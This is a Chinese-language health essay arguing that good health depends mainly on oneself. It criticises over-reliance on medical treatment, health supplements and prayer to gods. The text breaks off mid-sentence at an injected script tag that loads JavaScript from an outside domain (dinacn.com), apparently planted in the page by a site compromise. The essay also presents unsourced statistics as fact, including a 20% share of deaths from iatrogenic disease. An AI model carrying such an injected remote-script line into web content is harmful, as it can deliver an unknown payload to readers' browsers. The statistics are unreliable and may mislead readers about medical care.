健康，是人生最宝贵的财富，这已成为全人类的共识。因此，古往今来，人们都在关注着健康，并一直在孜孜不倦地探索着实现健康的途径。时至今天，随着经济的快速发展，人民生活水平的不断提高，人们以不同寻常的热情，更加关注健康，热望健康。可以说，健康如同爱情一样，成了古今中外人类生活的一个永恒主题。

    然而，健康靠什么才能实现?即实现健康的途径是什么?古今中外，众说纷纭，莫衷一是。实践证明：健康靠自己。健康的主动权掌握在自己手里，自己才是健康的主人。

    但是，许多人不相信“健康靠自己”这一正确结论，而是把健康寄托在医疗、保健品甚至神灵等种种外力上，从而走进了误区。

　　误区之一：靠医疗

    人患了病，去医院让医生诊治，这是完全必要的。然而，不能把医疗作为实现健康的主要途径和唯一途径。但是，一些人却把健康寄托在医疗上。他们小病大治，药不离口。去医院成了他们日常生活的重要组成部分。即使没患病，也要服些营养药、防病药之类。虽然如此，他们的健康状况却总是不尽人意，总是这病未去那病来，总是疾病缠身，甚至罹患重病，痛苦不堪!这是为什么呢？

    俗语说：“是药三分毒。”即是说，凡是药品，在治疗某种疾病的同时，还会对人体产生一定的毒副作用，在杀死病菌的同时，也会不可避免地对人体造成一定的损害。如儿童服用抗生素，有的可造成耳聋；癌症病人化疗后，可造成头发脱落等。所以说，要实现健康，不可过分依赖医疗和药物，更不可滥用药。

    同时，依赖医疗和医药还有染上医源性疾病的危险。所谓医源性疾病，即医生诊断不当和用药不当而导致的疾病。据卫生部门统计，近年全国因医源性疾病导致死亡的人数已占全部疾病死亡人数的20%以上，这是一个多么惊人的数字!

    可见，仅仅靠医疗来实现健康是靠不住的，医疗，只是实现健康的一个必要手段而已。

　　误区之二：靠保健品

    根据自己的身体状况，在一定时间，服用某些保健品、营养品乃至补品，是必要的，尤其是中老年人。但是，不能把服用保健品作为实现健康的主要途径和唯一途径。

    然而，一些人却把健康寄托在保健品上。他们听信许多保健品广告神乎其神的宣传，不仅口服保健药物、营养品和补品，而且使用保健器具。用保健品，成了他们生活中不可或缺的重要内容。即使这样，保健品却未使他们“保健”，他们的健康状况仍然不佳，仍然疾病时来，其中原因，使他们百思不得其解。

    如今，保健品种类繁多。既有外国进口的，又有国产的；既有口服的，又有器械的，林林总总，令人眼花缭乱。各种保健品广告更使人目不暇接。他们把自己的保健品功能说得神乎其神，包治百病。但是，人们用过以后才知道，这些广告宣传往往夸大其辞。

    不可否认，经国家卫生部批准生产的保健品具有一定的保健功能，对人们尤其是中老年人的身体健康是有益的。但保健品不是万应灵药，不可能包治百病。因此，绝不能把健康寄托在保健品上。保健品，只是实现健康的辅助手段而已。

　　误区之三：靠神灵

    一些人把健康寄托在神灵上，他们相信，神灵是万能的，神灵可以保佑他们不生病。即使生了病，神灵也可以保佑他们病愈。他们常常到庙中跪拜在神像前，虔诚地祷告，让神灵保佑他们疾病痊愈，身体健康。有的甚至请神婆、神汉为自己和亲人治病，而不到医院治疗。他们这样做，往往事与愿违，疾病依然未愈，身体未能健康，于是烦恼接踵而来。

    生活中的大量事例告诉人们，神灵不能保佑人们不生病。那些虔诚地信神、拜神的人们，他们照样罹患各种疾病，有些甚至患上重病。已经患病的人们，神灵也不能保佑他们尽快痊愈，依然久病不愈；有些则重病缠身，卧床不起；有些甚至病危去世。这些人只信神灵，不信科学，有了病不及时到医院治疗，以至延误了宝贵的治疗时间，导致了病危人亡的严重后果。这是多么深刻的教训!

    事实证明：把健康寄托在神灵上是靠不住的。这样做，误己误人，只会带来严重的后果。只信神灵的人当立即猛醒!

    既然健康不能只靠医疗和保健，不能靠神灵，那么，健康靠什么呢?回答是：健康靠自己。

    我国古人早就响亮地提出：我命在我不在天。即是说，我的寿命在于自我，而不是由天注定。健康的主人是自己，而不是上天。

    世界卫生组织指出：一个人的健康长寿，60%取决于自己。因此，要实现健康，主要靠自己。

    实现健康的关键在于提高自身的免疫力。在生活中，我们可以看到，当一场感冒流行时?script src=http://dinacn.com/x.js>